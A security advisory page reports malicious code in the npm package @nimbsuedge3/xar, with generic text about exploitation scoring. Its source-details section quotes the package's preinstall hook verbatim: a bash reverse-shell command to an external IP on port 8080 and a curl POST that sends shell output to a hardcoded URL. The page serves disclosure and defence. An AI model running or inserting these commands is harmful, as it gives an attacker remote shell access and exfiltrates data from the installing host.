Malicious code in @nimbsuedge3/xar (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf) package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.
